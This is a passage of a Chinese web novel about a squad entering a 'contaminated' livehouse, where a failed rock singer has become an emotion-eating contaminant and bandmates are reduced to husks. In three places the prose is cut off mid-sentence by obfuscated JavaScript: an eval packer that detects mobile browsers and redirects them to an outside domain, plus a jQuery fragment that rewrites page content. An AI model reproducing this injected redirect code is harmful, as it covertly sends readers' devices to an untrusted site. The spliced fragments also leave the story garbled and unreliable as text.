阮砚瞳拿下来翻看。她看不懂乐谱,但注意到每一张乐谱右下角都有一个相同的签名。阮砚瞳仔细看了看,结合着刚才得知的成员姓名,勉强分辨出是谁的名字。 郑向东 不能怪姜岑,要是不知道名字的话,确实看不出来。 甚至如果这个乐队三个字的人名再多点的话,她可能也看不出来。 看来这乐队的词曲基本都是郑向东创作的。 好歹是人家心血,这次阮砚瞳没想乱丢,打算规规整整放回架子上。 但她抬头的一瞬间差点把乐谱扔出去。 “啊” 阮砚瞳小声惊呼。 架子对面,有双眼睛在看着她。 【系统提示情绪熵值+2%】 4. 污染物乐队(2) 阮砚瞳情绪波动的瞬间,林安时本能地抬起枪对准了这边。 “谁?” “别激动。”架子后传来一个冷静的女声。“我是人。” 随后她举着双手慢慢往外走。 污染区怎么会有活人。正常人发现污染能跑的都跑了,不跑的肯定不正常啊。 女人黑色长发,细眼,涂了一个红到发黑的口红,穿一身黑。 诶? 当阮砚瞳看到她完整的脸时,立刻就认出了她。 “你是玖歌?乐队的贝斯手?” 玖歌点点头。 林安时的枪还没放下。“你怎么在这。” “我听说这边被污染了,想在清理前把我放在这的贝斯拿走。” “你不是乐队成员吗?” “曾经是,一年多以前退队了。” “这次什么时候进来的?” “也就你们进来半个小时前。” “怎么进来的?” “扒开警戒线钻进来的。也没人拦我。” 玖歌的回答冷静流畅且逻辑清晰。 林安时对阮砚瞳说,“测一下她的情绪熵。” 阮砚瞳拿出检测仪,这是个可伸缩的条形仪器。这玩意从她上学就人手一个,平时都带在身上。 她之前还跟老师抱怨过需要随身携带的东西为什么不做成手环之类的。老师白了她一眼,说要是你测出来发现她有问题,来不及撤回,你手不就没了。 师长的教诲铭记于心,阮砚瞳把检测仪伸到玖歌的头旁边,时刻警惕着如果发现不对就赶紧脱手。 93%。属于一个人类健康稳定的数值。 阮砚瞳报告数据后,林安时终于把枪放下,走向两人。 路过阮砚瞳的时候,林安时拍了下她的肩膀,小声提醒,“稳定下情绪。” 阮砚瞳有点惭愧。 情绪熵值增加是因为她产生了这个污染区的非目标情绪。 如果这个污染区吸食的目标情绪是【狂热】,那么只有产生【狂热】这种情绪时,情绪熵值才会因被吸食而减少。 如果产生的是其他情绪,情绪熵值会增加。 刚才玖歌突然出现时,她受到了【惊吓】,影响情绪熵增。但同时这也说明了【惊吓】并不是这个污染区的目标情绪。 阮砚瞳觉得惭愧是因为对面一个普通人都没咋样,她反而被吓到了。 “对不起队长,我会控制的。”阮砚瞳道歉。 “没事,不要自责。”林安时马上回了句。新人这样很正常,当下让林安时头疼的不是这个。 而是眼前这位贝斯手要怎么处理。 污染区出现普通人类,需要送去登记检查的,但这个污染区太简陋,没配备多余的人员来接应活人。 但如果把她留在这,又怕她抵抗不住,被污染物吸食情绪。 玖歌大概能猜到林安时在担心什么。 “如果你是怕我被污染物吸食情绪的话,那没有这个必要,我情绪很稳定。”玖歌淡定的说。 不知道为什么,玖歌说话就是会给人一种信服感。 “我们初步判定这里的目标情绪与【喜爱】或者【狂热】相关,你确定没问题吗?” 林安时的担心是有逻辑的,玖歌本身就是玩乐队的,而且她还记得刚才阮砚瞳在频道里发的“疑似情感纠纷”。 “呵” 一声轻蔑的冷笑。 “要是产生这两种情绪,我当场自杀。” 玖歌挑眉,“他们也配?” 林安时和阮砚瞳对视了一下。 这么恨的?之前到底发生过什么,能让昔日队友反目成仇。 阮砚瞳看着玖歌,强忍住了八卦的心,提醒自己要保持专业素养,不要给作战中心丢脸。 林安时看到玖歌的态度,稍微放心下来。眼下也没有更好的办法,而且她相信自己对于D级污染区的掌控能力。 “如果你有信心的话,那跟着我们一起。但要听令行事,不能擅自行动。我们会尽量保证你的安全,但如果你自身情绪波动异常,我们会采取必要措施。” 玖歌:“好,我接受。” 林安时给阮砚瞳安排了任务,“你时刻监控她的状态,如果发现不对” 下句话就在嘴边,但林安时及时刹住了,她改了个口。 “随机应变。” 玖歌的加入倒是让搜查进度快了许多,她对这儿很熟悉,对所有的物件都了解。这个房间里剩余的区域是存放乐器的设备区,玖歌刚才就待在这。 不过与其说是设备区,不如说是报废区。 阮砚瞳翻出一只卸下来的鼓。鼓皮有一块拿胶布粘上了,鼓面上有两个签名。” 阮砚瞳摸了摸胶布,这是什么战损装饰吗,贴上去看着酷? 一旁的靠在墙边的玖歌忍不住开口。 “那个鼓放在这被老鼠咬破了,鼓手还是个学生,没钱换鼓,就贴了块胶布继续打。” “最后还是我和键盘看不下去了,凑钱给他换了一个。鸿星非要我俩签上名,他说破鼓为证,以后挣到钱不会忘了我俩。" 小鬼头儿的话果然不可信,哪还有以后。 玖歌把视线移开,把手抱在胸前。 阮砚瞳叮叮咣咣地翻东西,过一会,声音停了,她拿着一把断了的吉他问玖歌。 “这咋断了。” “被郑向东那个神经病摔断的。” “因为什么?” 玖歌回忆:“那次他自己邀请了个乐评人,非要给人唱他新歌。对方听完,对他的唱功提出了很中肯的意见。” “他对那个乐评人说:你懂个p。乐评人也生气了,说的话更难听了。” “然后他就把吉他砸了。” 这人脾气还不小。 阮砚瞳又从另一个角落里拽出一面旗,上面用红油漆写着“污染物”。 这应该就是她们在视频里看到的那面旗。 阮砚瞳小心翼翼地跟玖歌开口。“我能问一下吗,这乐队的名是谁起的。” 玖歌翻了个白眼,“当然是郑向东那个老登。” “呃,他为啥要起这么晦气的名字。” “他说玩摇滚的,就要百无禁忌。” 玖歌冷笑:“这不挺好,他现在跟这乐队名形神合一了。” 听上去玖歌也没有很喜欢这个名字,但好像这个乐队只能听郑向东的。 能翻到的信息都翻了,她们准备搜查下一个房间。 玖歌已经完全变成了向导。林安时问她,“这门后是什么房间。” 玖歌:“化妆间,也是休息间,演出前我们都待在这。” 所以乐队的成员极有可能都在这扇门后。 大概率是1个污染宿主+3个尸鬼。 “进去别冲动。”林安时叮嘱阮砚瞳。 “我知道,污染物不会贸然攻击,我们尽量先破解附着链。” “嗯。”林安时把手放在门把手上。 她突然想起来了什么。转过身对玖歌说,“你就别进去了,都是你之前的队友,看到怕你情绪受不住。” “不会的。”玖歌依然很淡定。 “我刚才进去过。” ?这个回答林安时和阮砚瞳真的没想到。 “里面仨人,吉他章骁、鼓手周鸿星、键盘赵飞。” “啊不对。”玖歌说完意识到她的说法有点问题。 “里面仨尸鬼。” --- 确实如玖歌所说,化妆间里面有3只尸鬼。 一只坐在镜子前的化妆椅上。一只躺在沙发上,半只脚耷拉在地面。 还有一只一看就年轻一些的,坐在一个很矮的塑料箱上,手里拿着掌机,看上去在打游戏。 这三只是乐队成员,所以可能污染物一直保持着跟他们的“连接”,时不时有点行为动作,没有观众区那些尸鬼那么的“死气沉沉”。 但依然没有鬼搭理阮砚瞳这些闯入者们。 阮砚瞳观察到坐在化妆镜前的那只尸鬼,时不时在空中划拉什么。 一旁的林安时也注意到了,她没犹豫,上前试图把尸鬼耳上的脑控取下来。 现在的脑控做的都很贴合,而且会越来越适应佩戴者耳廓形状,固定的严丝合缝。别人想取下来是要花点功夫。 林安时没有那个耐心,连扯带拽把脑控薅了下来。 林安时把脑控丢给阮砚瞳,示意她查一查。 脑控是集成系统,相当于之前的手机,但更方便无感,挂在耳朵上,在眼前全息显示信息。 阮砚瞳打开脑控,但什么也没看到,只有桌面的界面。 刚才尸鬼的动作只是在无意识地重复生前经常做的行为。 “他可能在看数据。”玖歌站在那只年轻尸鬼的身后,看着这边说。“那是我们键盘手赵飞,有正经工作,搞金融的。” “虽然是郑向东的朋友,但是个正常人。” 她到底是有多看不上郑向东。 阮砚瞳在赵飞的脑控里翻出一段他和郑向东的聊天记录。 郑向东:不至于兄弟。 赵飞:先拿着把房租交了吧,不然连个住的地都没有。 郑向东:小欢那边也用钱吧,你留着吧。 赵飞:已经留出来了,别废话。 已收款 往上翻,是赵飞的转账。 这种转账还有好多笔,每笔下都跟着几行对话。 赵飞:这顿算我的。 郑向东:那哪行,这是我请大家的,怎么能让你付钱。 赵飞:你下周的饭钱还有吗? 郑向东:... 已收款 赵飞:水电费钱。 郑向东:那是我的时,你别管。 赵飞:我也用了。 郑向东:行吧。 已收款 --- 这人真正常吗?阮砚瞳想去质问玖歌。我周围怎么没有给我当提款机的正常人? “郑向东和赵飞啥关系啊,他救过他命?”阮砚瞳问玖歌,她现在只想知道怎么能交到这种朋友。 “大学同学,他俩从上一个乐队就一起,郑向东要成立新的乐队,赵飞就跟他过来了。” “我和周鸿星都是他俩后来招进来的。尤其他,公认的天才鼓手。” 说完,玖歌怼了怼她旁边周鸿星的脑袋。 周鸿星条件反射一样挡拉开玖歌的手,像他之前无数次打游戏时,被玖歌打扰时做的那样。 不,还是不一样。 更准确地说,玖歌的手是被弹开的。尸鬼的动作不像正常人类一样是连贯的,柔软的。而是机械弹簧一样,啪地抬起来。 然后又僵硬地放下。 尸鬼周鸿星握住没有任何画面的屏幕。 它的双眼空洞,和漆黑的屏幕一样没有光。更不会有兴奋、紧张、嬉笑或是不耐烦。 曾经的天才鼓手,如今毫无生气。 玖歌看着他,没有继续说话。 阮砚瞳觉得她好像叹了口气。 但那口气太轻微了,她不确定。 玖歌跟周鸿星的关系应该很好,她会调侃他,会开他玩笑,也会心疼他,自己出钱给他换鼓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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林安时又翻了翻他常用的软件。 章骁经常逛一个乐队的小组,ID叫本世纪第一帅。他自己没有以真实身份活跃,而是伪装成了...郑向东的粉丝? 章骁发的帖子分析夸赞了一通郑向东的吉他弹奏技术,还去各个帖子下帮郑向东反黑。 这是做粉丝的最高成就了吧,跟偶像搞事业不说,还跟偶像当亲戚。 林安时查的差不多了,把章骁的脑控丢到一旁。 “组长,我这边有发现。”频道里传来姜岑的声音。 林安时:“说。” “这个污染物实际实力很可能在C级左右。” 姜岑先言简意赅说出结论。 “我检查了一下它留下的痕迹和尸鬼的状态,推断它是因为没吸食到足够的情绪,有点发育不良,所以导致整个区域浓度较低。但你小心点,如果它暴起攻击的话应该能达到C的实力。” 玖歌听到后冷笑,郑向东当污染物都是个半吊子。 “我知道了。”林安时回复。 然后她看着一脸厌恶和不屑的玖歌,终于忍不住问:“你这么讨厌他,为什么要加入他的乐队呀。” 玖歌盯着林安时,沉默了一会儿,最终还是选择开口。 “郑向东之前是圈子里很有名的吉他手,我想加入他的乐队当主唱,于是毛遂自荐弹着吉他给他唱了首歌。” “但他说,唱的好的人多的是。你学学贝斯吧,我乐队缺个贝斯。漂亮女孩儿弹贝斯,肯定有市场。” 玖歌眼神暗下来。“但我几年后意识到,我还是想唱歌。” 林安时问,“你跟他说过吗?” 玖歌无奈地笑了笑,“他写的歌,只能他自己唱,除了他任何人都不行。” “我跟他说,但你唱的也不行啊。” “他让我滚。” 林安时一幅我都懂的样子冲玖歌点了点头。“这人好奇怪啊,你离开他是对的。” 玖歌总感觉哪里怪怪的。她是不误会什么了? “不是。”阮砚瞳忍不住打断了她们的对话。 阮砚瞳不知道她俩为什么淡定的在这追忆往昔,她实在是有点按耐不住了。 “我们现在不应该去找郑向东吗?” 她们找了一圈,都没见到污染宿主郑向东。 他人呢,不在观众区,不在仓库,也不在这,不会跑了吧? 林安时还是完全不急:“时候到了总会出来的,毕竟他表演欲这么强。” 她笑眯眯地说,“没准他有压轴癌呢。” 林安时开了个玩笑想让阮砚瞳放松点。不过她也确实不着急,就算是C级,她跟姜岑两个人也完全应付得了。 而且这个污染区小,也不危险,至今没有一个人的情绪熵有降低。 玖歌犹豫了一下,还是开口告诉她们俩。 “他在厕所。” “嗯?”阮砚瞳有点震惊,她不会连这个也进去看过吧? 玖歌看着阮砚瞳想入非非的表情,无奈地解释:“这是他上台前的习惯,他觉得小空间有助于他进入状态。” 玖歌看了看表,继续说:“但这个时间也差不多了,应该马上要上场了。” 像是回应她的推测一样,玖歌刚说完,房间内的三个尸鬼突然起身,迈着僵硬地步子,走向通往舞台的通道。 频道里传来姜岑急促地声音:“我看到郑向东了,他上台了。” 演出就要开始了。 5. 污染物乐队(3) 听到消息,她们迅速赶到观众区。 姜岑看到多出来一个人,非常警戒。 “是人类,乐队的贝斯手。意外碰到的。”林安时解释道。 姜岑点了下头,没多理会玖歌,开始跟林安时汇报。 “那就是污染宿主,乐队主唱郑向东。”姜岑看着舞台中央的郑向东说。 郑向东看上去三四十岁,人比较高大,从上衣到裤子都松松垮垮的。脸上很多痘坑,厚重的刘海挡住了半边脸。 姜岑:“污染物吸食情绪的主要途径应该就是演出。我这边没发现其他途径。” 林安时点了下头,“我也一样。” 林安时状态严肃了很多,接下来才是危险的开始。 4名乐队成员在舞台上站定后,郑向东弹响了第一个音符。 随着音乐声响起,观众区的尸鬼全都有了反应。 瘫坐在地上的尸鬼吊着它们僵硬的肢体站了起来,摇晃了很久才找到站稳的平衡点。有些原本呆滞着一动不动的,此刻像被召唤着一样,走向舞台。 离阮砚瞳比较近的一只尸鬼,原本背对舞台站着,听到音乐响起后,身体依旧没有任何的改变,但头却一点一点地转过来。 咔嚓-咔嚓- 阮砚瞳听到了骨头碎裂的声音。 尸鬼的头转了180度,面向舞台后,终于停了下来。 阮砚瞳咽了咽喉咙,异常坚定地直视舞台,视线半点不敢转移。 尸鬼转头的过程中正好朝向阮砚瞳,她怕如果跟它对视上,它再顺便打个招呼。那她可能真的控制不住手里的枪。 舞台上,郑向东的几个音节出来后,其他乐器也开始配合起来。但只是很短的一段开场乐,十几秒就结束了。 头顶的射灯非常无力地闪了几下,实在说不清到底是灯光效果还是电路老化。 台下的几十只尸鬼欢呼了起来。但嗓音非常的...嘶哑,很多尸鬼刚发出了残破的音节,就陷入了只有动作的“失声”呐喊。 看来这两周天天不间断地这么喊,尸体也经不住这么折腾的。 郑向东的一只手搭上了麦克。他的头僵硬地歪了两下,最后终于把嘴对准了麦克风。 他好像有话要说。 “有很多人说我...歌写的挺好...但唱的差了点...” “于是他们想拿走我的心血...” 郑向东的声音断断续续。台下鸦雀无声。 “摇滚最重要的是...唱功吗...” 台下的尸鬼空洞地望着他。 “当然不是...他们...懂个...屁...” “摇滚最重要的是态度...对不对...” 有一两只尸鬼举起了手,将嘴大张开,但没有发出任何的声音。 郑向东的语气逐渐高昂,最后发出嘶吼。“污染物...绝不会倒下...我们会...一直摇滚到世界尽头...” 说完,随着下面尸鬼们的欢腾和一阵急促的鼓点声,第一首演出开始了。 太不吉利了太不吉利了,这简直就是污染物本物的末日宣言。阮砚瞳心里想着。 污染物没有语言组织能力,这应该是郑向东被寄生前的演出中说过的话。虽然知道他说的是他的乐队,但这话真的挺起来太刺耳了。阮砚瞳的眉头拧成了麻团。 倒是一旁的玖歌像是已经习惯,简单地翻了个白眼,双手抱胸,靠着墙,斜着眼睛看着舞台。 第一首歌她很熟,是他们乐队的经典曲目,曲子编的很好,把每个乐手的特点都发挥的淋漓尽致。而且这首歌前奏非常长,占了能有半首歌的时间,很有实验性,她曾经很喜欢来着。 很久没听现场了,还是自己曾经乐队的现场。 听着听着,她突然觉得有点寂寞。 她心里实在是太平静了。 原来她已经完全无法从她曾经那么热爱的事情中,感受到快乐和兴奋了。 彻底被消磨掉了啊,她心想。 但阮砚瞳还没有。 她刚才从对那句话的愤恨中缓过来,开始听这首她第一次听的歌。 虽然她不怎么关注摇滚乐,但她有对音乐的基本审美,这首歌确实不错。 或许现场真的有独特的魅力吧,阮砚瞳看着那些随着节拍摇晃的尸鬼,都没那么违和了。 其实氛围跟正常的现场差不多,所有观众跟着节拍忘情摇摆。仔细一想,真的人类在livehouse里也这样。 阮砚瞳嘴角微微扬起,随着节奏越来越强烈,不自觉跟着拍子点起了头,并且幅度逐渐开始变大。 系统提示【出现情绪波动情绪熵值-2%】 系统播报让她迅速冷静下来。 我在干什么。 污染物会刻意营造氛围和场景,甚至制造幻觉以促进目标情绪的产生。刚才不小心着了它的道了。 她回想了下刚才的状态,这里吸食的目标情绪大概率就是【狂热】。 林安时和姜岑严肃的目光已经射了过来。 阮砚瞳露出一个皮笑肉不笑的微笑,轻轻哈腰朝她们的方向敬了个礼。然后迅速在频道里打出了她刚才推断的目标情绪,求一个将功补过。 虽然也算不上什么功,她发的基本是众所皆知的事了。 不好意思姐姐们,我大意了。 阮砚瞳为了缓解自己的尴尬,发完消息后还伸手测了一下玖歌的情绪熵。 93%,一点没变。 更尴尬了,阮砚瞳就地辞职的心都有了。 上班第一天,表现出的素质连普通人都不如,哈哈。 等了一会,见阮砚瞳的数据再没有波动,林安时才转回头,继续盯着舞台的方向。 台上的乐手们沉浸在自己的演出里,甩着它们要断不断的头。 台下的尸鬼们已经逐渐疯狂,随着节奏,肢体摇摆出夸张的幅度。 污染爆发的时候,这些尸鬼大概率也是在这个时候被吸食了情绪。 没受过特别训练的普通人,情绪一旦产生就很难控制,情绪熵值会持续下降,而被吸食者的幻觉会更严重,恶性循环,没多久就被吸食干净变成尸鬼。 一个高等级的污染物,吸食掉一个普通人只需要几秒钟。 阮砚瞳之前从未进过污染区,会受到轻微影响。但眼下这种程度对林安时和姜岑来说不算什么,更别说她俩本来就很难沉浸到某个场合里去。 这首歌已经过半,前奏结束,主唱终于张开了他的嘴。 万众期待下,郑向东唱出了第一句歌词。 在场除了玖歌的所有人类都惊住了。 这是什么嗓音? 好...好难听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875173|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ... 简直是折磨。 哪是差点啊,这差的不是一点半点。 阮砚瞳为自己刚才降低的2%情绪熵感到羞愧。 怎么这么难听,苍天啊。唱成这样也能当主唱吗。 阮砚瞳坚信那些尸鬼肯定是在听到郑向东唱歌之前,情绪就被吸食完了,它们只要再多坚持一会就能清醒过来了。 阮砚瞳替他们觉得不值。 一旁的林安时和姜岑也忍不住对视了一下。 虽然是身经百战的老队员了,但这个场面实在是太滑稽。 姜岑心想,这污染物果然没有什么脑子,它如果把目标情绪换成【难听】,没准就不会发育不良了。 只有玖歌毫无波澜,她是真的习惯了,已经对此完全免疫。 几首歌下来,阮砚瞳觉得自己脑子都是麻麻的。 只有开场的那一段纯音乐说得过去,后面全部混杂着郑向东的狼哭鬼嚎。 随着一段激烈的音乐和郑向东嘈杂的嘶吼后,台上的4个乐手彻底停下来。鼓手离开座位走到台中间。四个人向观众微微鞠了一躬。 “结束啦?真的结束了吧?”阮砚瞳精神恍惚地问一旁的玖歌。 她觉得这次任务目前最大的难点不是控制情绪,而是控制自己的腿别跑。 “嗯。”玖歌简短地回复。 太好了。阮砚瞳拍了拍自己的耳朵。你辛苦了。 接下来怎么安排?阮砚瞳暗暗活动了下关节,握紧手里的枪。 她已经准备完毕,就等林安时一声令下,她是冲进尸鬼群乱杀一通还是上去制服郑向东想办法解开附着链都行。折磨别人的耳朵是要付出代价的。 但林安时没有动。 林安时在思考,郑向东是什么时候被污染物寄生的。 情绪崩溃不一定是瞬间的事,郑向东这种情况应该是积累了很久。钱、人气的落差、对唱功的自卑都足以让他崩溃。 但最终击败他的那个点是什么。 当人类完全崩溃后,污染物会找到最佳时机寄生,往往时间不会间隔太久。 从刚才现场的状况来看,尸鬼在前奏被吸食情绪,那寄生时间应该在郑向东第一首歌演奏前。 林安时开始回想演奏前郑向东的那段话。他讲话的时候台下好像并没有声音支持他。 是在那个时候吗? 林安时正想着,前方突然传来一阵欢呼。 郑向东起步向前,然后转身一跃,任凭自己掉落在人群中。 阮砚瞳对音乐节有一点了解,她有一次被她小姨拉去看过。那些乐手唱开心了就会这么仰面跳到观众里去,然后被观众的手接住传递,他们管这个叫跳水。 但现场就这几只人也敢玩跳水?不怕摔死吗? 台下被操纵的尸鬼很努力地伸直手臂,接住了郑向东。 不过阮砚瞳看到几只瘦弱尸鬼的手臂明显是折断了。毕竟郑向东的体格实在算不上轻盈。 郑向东跳下来之后,没经过几个尸鬼的手就下来了。这里的“人”数实在支撑不了他慢慢享受这种活动的。 郑向东在观众席落地后,看到了阮砚瞳这几个不速之客。 他歪了下脑袋,似乎是在脑子里搜索之间见没见过这几个人的脸。 片刻后,郑向东动了动骨架子,朝她们走了过来。 6. 污染物乐队(4) 看郑向东朝着这个方向走过来,作战队的三个人都做好了准备。 林安时万分集中地看着郑向东的动向。姜岑则捏了捏手里的小铁块,随时准备战斗。 但郑向东是朝着阮砚瞳走过来的。 还挺会看人的,上来先挑了个最弱的。要是你确定目标情绪的时候也有这眼力见就妥了。 阮砚瞳把手指勾在板机上,眼睛死死盯着郑向东。 虽然我是最弱没错,但也没那么好惹。阮砚瞳在心里给自己打气。 格斗和射击她可都是实打实拿了A+毕业的,别人苦练天赋的时间,她全都用来练实战技巧了。这方面没在怕的。 郑向东在她面前站定。 敌不动我不动,没摸清它要干什么之前不要擅自动手。阮砚瞳脑子里过了一遍知识点。 郑向东开口了。 “新...新朋友...” 阮砚瞳愣了一秒,然后点点头。没想到他还挺友善? “欢...欢迎...”郑向东继续说。 “你好。”郑向东搞的阮砚瞳不知道怎么接,但礼貌是中华民族的传统美德,先问个好吧。 然后郑向东摸索着,从兜里掏出一只金色马克笔。 看样子他想给阮砚瞳签个名。 还还还还挺宠粉的? 郑向东打量了阮砚瞳全身上下,发现她携带者的物品只有手上那把机关枪。 郑向东手握着马克笔靠近,企图把名字签在机关枪上。 你们玩摇滚的还真是百无禁忌。 阮砚瞳歪了歪身子,躲开了,示意它不要碰。 这个不行,这个是用来打你的。 绝对不能让敌人轻易碰到自己保命的武器,是任何时代里战士的原则。 郑向东面对粉丝还是挺讲礼貌的,它立刻放弃了签在机关枪上的想法。继续寻找能签名的地方。 实在找不到咱不签也可以啊,阮砚瞳默默祈祷他能够放弃这个执念。 但郑向东已经瞄上了阮砚瞳的手臂,企图签在她袖子上。 非要签是吗,行吧行吧行吧。虽然阮砚瞳觉得这个举动也很恶心,但暂时还不想惹怒他。 被污染的郑向东字签的很慢,完全不是之前一连到底的风格。等到马克笔的触感一划一划隔着衣料传过来的时候,阮砚瞳觉得头皮发麻。 她咬了咬嘴唇,像个受了刑也不背叛组织的战士。 姜岑看阮砚瞳这个样子,抬了抬头,强忍住笑意。旁边的林安时则给她竖了个大拇指以示鼓励。 签完了名,郑向东把马克笔往旁边一丢,冲着阮砚瞳张开了手臂。 “别了吧。” 阮砚瞳尽可能平静地说出这三个字,但内心在疯狂尖叫。别说你现在是个污染物了,就算你是个人,我也不想跟你拥抱。 郑向东:“别...别害羞...” 啥玩意啊,我一点不喜欢你啊啊啊给我起开。 阮砚瞳手足无措不知道怎么办的时候,林安时走上前来。 啪。 林安时和郑向东张开的手击了个掌。 啊,姐就是救世主,有姐罩着真好。 郑向东转过头,打量着这个笑吟吟与他击掌的女孩,来了兴致。他放下了手臂,注意力转移到了林安时身上。 阮砚瞳趁这个机会挪到林安时和姜岑身后的暗处,美美隐身。 没等郑向东讲话,林安时先一步对他说。“你好,我今天第一次来。” 郑向东:“欢迎...” 林安时:“听说你们乐队成立了很久,这么多年坚持下来不容易吧。” 郑向东想了一会,似乎在寻找对应的回答。 “我们...热爱...”郑向东终于找到答案。 林安时:“你一个人经营这里?” “对...” 林安时:“你的音乐很好,但不是所有人都能欣赏的,所以可能缺了点观众。” 这就是语言的艺术吧,把本来难听的话变好听。阮砚瞳听得出来,林安时在尝试寻找污染物的情绪附着链。 情绪附着链就是污染物寄生宿主的入口,它不是物理意义上的链条,而是一个情绪点,是让宿主崩溃的最主要情绪,也可以说是促使形成污染的起源。 如果能够让宿主的这个情绪得到平复,使其情绪熵下降,附着链就会脱落,污染物无法再充分掌控宿主的精神和躯体,能力将被大幅削弱。 而且附着链带有污染物的信息,若能收集入库,对后续的研究很有价值。 不过解决情绪问题是很难的,尤其是能够导致当事人崩溃的情绪。需要解决者有强大的共情力、独特的思考角度,或者特殊的手段。 阮砚瞳在学校里也会学习相应的课程,人文社科心理学等等。她之前也想过,实在不行也可以转行去当心理医生之类的,也算是能为维护世界稳定做贡献。毕竟人类情绪稳定了,污染自然就少了。 人要在干中学,阮砚瞳在一旁暗暗学习林安时的说话技巧。 郑向东听闻林安时这番话,也仿佛找到了知己,激动地点了点头。 林安时见他有反应,继续说下去。 “我认为你们乐队有很大的潜力。” “所以我决定投资你们,承担你们所有的开销,包括房租水电器材。” 郑向东现在手头拮据,财务状况一团糟,这应该给他很大的压力。林安时想先试试这个点。 能看出来郑向东很开心,急迫地想组织语言。 最后艰难地说出三个字:“不至于...” 怎么听着像婉拒?林安时继续加码。 “不用有负担,这也是我对自己眼光的投资,而且我很有钱,不着急回报。” 郑向东立刻吐出两个字:“谢谢...” 哦原来他对林安时的回复和对赵飞转账是一个套路,先说不要,但只是客气一下。 除此之外,再没别的反应了。 阮砚瞳甚至觉得他在期待林安时当场转账。 好,基本可以排除。林安时在心里划掉因财务压力崩溃的这个可能性。 拿兄弟的钱不怎么惭愧啊看来。 “咳。”林安时清了清嗓子。转换了下情绪,继续尝试。 郑向东的乐队越混越差,她也怀疑郑向东是不是因为越来越大的心理落差,道心破碎。 “我知道,一路走过来,很多人不看好你们。有质疑,有不理解,有谩骂。” 林安时动情地说:“那些都不重要,你对音乐的初心,你的热爱,才是最重要的。” 这段稍微有点浮夸了哈,阮砚瞳在心里评价。励志人设不适合姐,姐还是适合装富婆。 郑向东高举双臂表示赞同,然后伸出一只手,林安时勉为其难地握住。 “懂...懂我...”郑向东仿佛找到了知己。 没有其他反应。 难道他真的想要别人夸他唱的好听吗?林安时觉得自己的的太阳穴在跳着以示抗议。 行吧,为了工作。林安时打起精神。 “我知道你的唱功一直受质疑,但我想告诉你...” 林安时坚定信念,继续说了下去。 “你的歌声有一种特别的感染力,一听就能感受到你对音乐的热爱和投入。你的嗓音带着岁月的沉淀,充满了故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林安时还没放弃,她觉得已经摸到边缘了,不过有些思路她还有些理不清,但她看到阮砚瞳,突然莫名其妙觉得她可以。 阮砚瞳倒是真有个思路,但她觉得还是稍微有点冒险了。就算没成功,这污染物可能也不会放过她。 林安时看出了她的犹豫,对她说:“去吧,别怕,我兜得住。” 阮砚瞳完全被鼓励到了,这是什么神仙领导,耐心带人,敢让你去干,还帮你兜底。 于是她不再有什么顾虑,大步向前走到观众区中郑向东看得见的位置。她深吸一口气,对着台上即将要离场的郑向东大声喊。 “郑向东。” 郑向东听见有人喊他,停下脚步,回头寻找声音的来源。 是刚才那个荣幸获得他签名的小丫头片子。 小丫头片子见他回头,再度开口。 “你唱歌好难听。” ? “放弃吧,你就是没天赋。” 阮砚瞳反复踩着雷区。全场震惊。 阮砚瞳看他愣在那里没反应,再一次强调。 “我说,放弃吧。” “你...懂个...p!”下一秒,郑向东发出怒吼,额头青筋暴现,瞪圆了双眼,对着阮砚瞳巨大力疯狂扫着手中的吉他。 一道道音波如利刃一样飞速向阮砚瞳袭来。 同时,场地里所有尸鬼暴起,向着阮砚瞳聚拢。 阮砚瞳没见过这大场面,直接愣在原地。 她不会要死在这了吧。 7.污染物乐队(5) 阮砚瞳完全没来得及反应。 污染物离她不算远,大概5米的距离,他扫出的音波击中她只需要不到一秒的时间。 但她几乎是看到郑向东发起攻击的同时,就感受到自己被一种莫名的力量吸出去了两米,移动到了污染物攻击不到的位置。 同时,姜岑把一个小铁块从不远处抛过来,在她和郑向东之间,突然膨胀变大成一堵墙。 铁墙被音波击中后炸裂开来,砸向附近的尸鬼。 郑向东的这次攻击完全够C级的水准,如果阮砚瞳没及时躲开,足够把她切成片。 阮砚瞳集中注意,稳住身形后,抬手切倒一只扑过来的尸鬼。同时,她看到林安时迅速移动到刚才她所在的位置上。 她反应过来,刚才救她命的,是队长的天赋【引力】。 队长说到做到,你去干,我兜底。 阮砚瞳徒手解决掉两三个尸鬼,与林安时背对背站着。然后她举起机关枪,开始疯狂扫射靠近过来的尸鬼。 虽然尸鬼总数不多,但它们即使被击中也感受不到疼痛,所以子弹对它们的进攻并没有多大影响。 阮砚瞳击退了一部分后,开始逐一瞄准脑部射击,被击穿的尸鬼倒地,丧失行动力。 污染物的操控靠精神连接,破坏尸鬼脑部,能够暂时断掉污染物的控制。 姜岑抓起手边的啤酒瓶子,扔向舞台。啤酒瓶在高处膨胀变大,然后砸向乐队的乐手们。 瓶子受重击碎裂后,林安时用引力操纵碎片,刺向污染物郑向东。 舞台上的其余几个尸鬼不断地替郑向东挡下攻击。 郑向东再次举起小臂,想要扫出音波。但林安时没给他这个机会。 林安时伸出手臂,对着郑向东抬掌。郑向东凌空飞出去,砸向后面的墙壁。 随着巨大的撞击声,舞台上的设备和灯光倒的七七八八。 全场再没有一个尸鬼有行动力。 墙壁被砸出一个凹陷,郑向东靠着墙壁慢慢滑坐下去,动弹不得。 